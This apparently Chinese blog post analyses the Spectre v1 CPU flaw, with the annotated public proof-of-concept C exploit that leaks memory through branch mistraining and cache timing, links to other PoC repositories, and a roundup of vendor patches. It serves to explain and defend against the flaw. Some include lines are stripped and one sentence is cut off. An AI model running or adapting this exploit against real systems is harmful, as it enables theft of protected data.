Intel spetre漏洞解析 代码解析

熔炉原理

当CPU发现分支预测错误时会丢弃分支执行的结果,恢复CPU的状态,但是不会恢复CPU Cache的状态,利用这一点可以突破进程间的访问限制(如浏览器沙箱)获取其他进程的数据。

具体攻击过程可以分为三个阶段:

1)训练CPU的分支预测单元使其在运行利用代码时会进行特定的预测执行

2)预测执行使得CPU将要访问的地址的内容读取到CPU Cache中

3) 通过缓存测信道攻击,可以知道哪一个数组元素被访问过,也即对应的内存页存放在CPU Cache中,从而推测出地址的内容。
重要代码部分
下个函数 是越权访问的关键,普通情况下会只在x

void victim_function(size_t x)
{
    if (x < array1_size)
    {
        temp &= array2[array1[x] * 512];
    }
}

以下是源代码

#include 
#include 
#include 
#ifdef _MSC_VER
#include  /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include  /* for rdtscp and clflush */
#endif

unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t unused2[64];
uint8_t array2[256 * 512];

char *secret = "The Magic Words are Squeamish Ossifrage.";

 uint8_t temp = 0; /* Used so compiler won't optimize out victim_function() */
/*通过预测机制,读取违规数据进入cache*/
 void victim_function(size_t x) {
 if (x < array1_size) {
 temp &= array2[array1[x] * 512];
 }
 }


 /********************************************************************
32 Analysis code
33 ********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */

 /* Report best guess in value[0] and runner-up in value[1] */
 /*readmemory训练多次,调用victim function(),每6次一个攻击,由于前面训练结果,或导致victim——function预测,将违规数据(x>array1_size)缓存到cache中,t推测代码通过 FLUSH=PROBE推测刚刚违规操作的位置,确定array2[x]的值,造成泄漏*/
 void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
 static int results[256];
 int tries, i, j, k, mix_i, junk = 0;
 size_t training_x, x;
 register uint64_t time1, time2;
 volatile uint8_t *addr;

 for (i = 0; i < 256; i++)
 results[i] = 0;
 for (tries = 999; tries > 0; tries--) {

 /* Flush array2[256*(0..255)] from cache */
 for (i = 0; i < 256; i++)
 _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction  清除cache中array2 排除误差*/

 /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) 5个训练,一个攻击*/
 training_x = tries % array1_size;
 for (j = 29; j >= 0; j--) {
 _mm_clflush(&array1_size);
 for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

 /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
 /* Avoid jumps in case those tip off the branch predictor */
 x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 ,j为4字节,=4*8=8*4=FFFFFFF*/

 x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
 x = training_x ^ (x & (malicious_x ^ training_x));

 /* Call the victim! */
 victim_function(x);
}

 /* Time reads. Order is lightly mixed up to prevent stride prediction 推测刚刚缓存到cache中的非法数据,刚刚flush掉array2,现在cache中数据是所有训练和推测的数据,而命中的就是这鞋数据,频率最高为x=malicious,因为malicious一直不变,而测试组training一直在改变,所以频率相对低一些 */
 for (i = 0; i < 256; i++) {
 mix_i = ((i * 167) + 13) & 255;
 addr = &array2[mix_i * 512];
 time1 = __rdtscp(&junk); /* READ TIMER */
 junk = *addr; /* MEMORY ACCESS TO TIME */
 time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
 if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
 results[mix_i]++; /* cache hit - add +1 to score for this value */
 }

 /* Locate highest & second-highest results results tallies in j/k ,找出最高频率 j和次高频率 k */
 j = k = -1;
  for (i = 0; i < 256; i++) {
    if (j < 0 || results[i] >= results[j]) {
        k = j;
        j = i;
        } else if (k < 0 || results[i] >= results[k]) {
        k = i;
        }
    }
 if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
 break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
 }
 results[0] ^= junk; /* use junk so code above won't get optimized out*/
 value[0] = (uint8_t)j;
 score[0] = results[j];
 value[1] = (uint8_t)k;
 score[1] = results[k];
 }

 int main(int argc, const char **argv) {
 size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */
 int i, score[2], len=40;
 uint8_t value[2];

 for (i = 0; i < sizeof(array2); i++)
 array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
 if (argc == 3) {
 sscanf(argv[1], "%p", (void**)(&malicious_x));
 malicious_x -= (size_t)array1; /* Convert input value into a pointer */
 sscanf(argv[2], "%d", &len);
 }

 printf("Reading %d bytes:\n", len);
 while (--len >= 0) {
 printf("Reading at malicious_x = %p... ", (void*)malicious_x);
 readMemoryByte(malicious_x++, value, score);
 printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
 printf("0x%02X='%c' score=%d ", value[0],
 (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
 if (score[1] > 0)
 printf("(second best: 0x%02X score=%d)", value[1], score[1]);
 printf("\n");
 }
 return (0);
 }

漏洞验证

目前开源社区github已经放出来了漏洞的验证代码(PoC),如下:

https://github.com/Eugnis/spectre-attack

https://github.com/feruxmax/meltdown

https://github.com/gkaindl/meltdown-poc

https://github.com/turbo/KPTI-PoC-Collection

漏洞可在Windows、Linux、Mac-OS等操作系统下,成功读取任意指定内存地址的内容,如下图所示:

相关报告(以下为转载 https://baijiahao.baidu.com/s?id=1588780641599990448&wfr=spider&for=pc)

Intel

Intel已经确认自身CPU中存在相关问题,并正与包括AMD、ARM和多家操作系统厂商在内的许多其他科技公司紧密合作,制定行业范围的方法,以便及时和建设性地解决这些漏洞。另外Intel认为有些媒体里面的报道并不准确,这些问题不仅仅Intel,其他厂商的CPU中也存在相关问题。这些问题的修复对性能的影响和具体的工作场景相关,对一般用户而言,影响并不显著,而且随着时间的推移这些影响都会得到缓解。
相关公告
这里写链接内容
漏洞声明
修复
Intel提供的影响分析

ARM

ARM确认大部分处理器不受漏洞影响,但给出了一个受影响的处理器列表。ARM认为,利用这些漏洞进行攻击需要在本地运行恶意软件,用户及时更新软件和不点击来历不明的链接会降低攻击风险。针对linux上的程序,ARM提供了新编译器,可用新编译器重新编译。另外发布了Linux ARM内核补丁,用于修补漏洞,相关页面如下:

https://developer.arm.com/support/security-update/download-the-whitepaper

https://developer.arm.com/support/security-update

AMD

AMD针对每个漏洞做了回复,第一个漏洞由软件、操作系统厂商发布补丁解决,性能影响非常轻微,其他两个漏洞由于AMD CPU特殊的架构,都不受影响。具体如下:

https://www.amd.com/en/corporate/speculative-execution

苹果声明

关于基于 ARM 的 CPU 和 Intel CPU 中的预测执行漏洞
苹果解释

操作系统

Windows

微软已经发布了安全通告,修复了IE、Edge、Windows内核中相关问题,并针对普通用户、服务器用户、云用户各自给出了防护指南。

微软普通用户:https://support.microsoft.com/help/4073119

服务器用户:https://support.microsoft.com/help/4072698

云用户:https://support.microsoft.com/help/4073235

微软安全通告:https://support.microsoft.com/en-us/help/4073235/cloud-protections-speculative-execution-side-channel-vulnerabilities

Linux

Linux内核开发者Thomas Gleixner在2017年12月在Linux内核邮件列表中就新的KAISER隔离补丁发布了说明。目前有人怀疑这批补丁可能正是为了解决Linux系统当中的Metldown与Spectre 漏洞。具体如下:

https://lkml.org/lkml/2017/12/4/709

2.3 RedHat

红帽公司已经发布一项建议,其中列出受到影响的产品及其当前状态。建议内容表明:对于正在运行受影响版本产品的红帽客户,强烈建议用户尽快根据指导清单进行更新。所有受影响产品都应安装修复补丁,借以缓解CVE-2017-5753 (变种1)与 CVE-2017-5754 (变种3)漏洞。CVE-2017-5715 (变种2)可通过本地以及虚拟访客边界两种方式被加以利用。具体如下:

https://access.redhat.com/security/vulnerabilities/speculativeexecution?sc_cid=701f2000000tsLNAAY&

2.4 安卓

Android团队于2018年1月更新了安全通告:CVE-2017-5715、CVE-2017-5753以及CVE-2017-5754为已经得到公开披露的一系列与处理器内推测执行相关的漏洞。Android尚未发现任何在基于ARM的Android设备之上重现上述漏洞以进行的未授权信息泄露行为。为了提供额外的保护措施,本公告当中包含的CVE-2017-13218更新减少了对高精度定时器的访问,旨在限制旁路攻击(例如CVE-2017-5715、CVE-2017-5753以及CVE-2017-5754)所有已知变种对ARM处理器的影响。具体如下:

https://source.android.com/security/bulletin/2018-01-01

浏览器

利用漏洞在浏览器中进行攻击依赖于新特性SharedArrayBuffer和用于高精度时间计算的函数performance.now。各个浏览器表示都采取了以下两个缓解措施:

l移除浏览器中可用于攻击的SharedArrayBuffer特性

l降低用于高精度时间计算的函数performance.now的精确性

加上这两个缓解措施后,JS版本的漏洞PoC代码将无法触发:

3.1 Microsoft Edge

微软已经发布了浏览器补丁:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV180002

3.2 FireFox

Mozilla从FireFox 57版本开始采取了这两个缓解措施:https://blog.mozilla.org/security/2018/01/03/mitigations-landing-new-class-timing-attack/

3.3 Chrome

谷歌从Chrome 64版本开始采取了这两个缓解措施:

https://security.googleblog.com/2018/01/todays-cpu-vulnerability-what-you-need.html

云服务厂商

4.1 Amazon

Amazon方面已经发布一项安全公告,指出:此项安全漏洞广泛存在于过去20年推出的英特尔、AMD以及ARM等各类现代处理器架构当中,影响范围涵盖服务器、台式机以及移动设备。Amazon EC2体系中除极少数实例外,其余皆受到严格保护。剩余部分的修复工作将在接下来数小时内完成,并附有相关实例维护通知。虽然AWS所执行的更新能够切实保护底层基础设施,但为了充分解决此次问题,客户还应对实例中的操作系统进行修复。目前Amazon Linux更新已经开始发布,具体如下:

https://aws.amazon.com/security/security-bulletins/AWS-2018-013/

4.2 阿里云

为解决处理器芯片的安全问题,阿里云将在北京时间2018年1月12日凌晨1点进行虚拟化底层的升级更新。届时,阿里云将采用热升级的方式,绝大多数客户不会受到影响。但个别客户可能需要手动重启,阿里云建议客户提前准备运营预案及数据备份。

4.3 腾讯云

腾讯云将于北京时间2018年1月10日凌晨01:00-05:00通过热升级技术对硬件平台和虚拟化平台进行后端修复,期间客户业务不会受到影响。对于极少量不支持热升级方式的,腾讯云另行安排时间手动重启修复,这部分服务器腾讯云安全团队将会另行进行通知,协商升级时间。

五、漏洞修复存在的问题

由于漏洞是芯片底层设计上的缺陷导致的,修复起来会非常复杂,同时难以完美修复。从目前的情况来看,漏洞很难通过CPU微码修复,更多是依赖于OS级的修复程序。

修复程序本身也存在诸多问题。以Windows 10为例,微软于北京时间1月4号凌晨紧急发布了1月份系统安全更新,但补丁存在明显的性能和兼容性的问题:

l更新可能会让受影响的系统性能下滑30%

l更新可能会导致部分软件(安全软件等)不兼容从而系统蓝屏

出于兼容性考虑,Windows Update并不会在所有的电脑环境中进行自动更新,而是在其认为软件比较兼容的情况下 才会进行自动更新。另外,对于有需要更新的用户,可以通过下载微软相关补丁包,进行手动运行修复安全威胁。

根据我们的实际测试,性能问题对于普通用户来说,影响并不大:只有在极端的测试下,才会出现明显的性能问题;而正常的使用过程中一般不会出现。但是兼容性问题确实比较严重:在有安全软件,以及一些游戏的电脑上,安装补丁比较容易出现蓝屏现象。这也使得我们和其他安全厂商采取了比较保守的策略,暂时不主动推送微软的补丁,避免造成用户电脑无法正常使用。

你可能感兴趣的:(网络安全)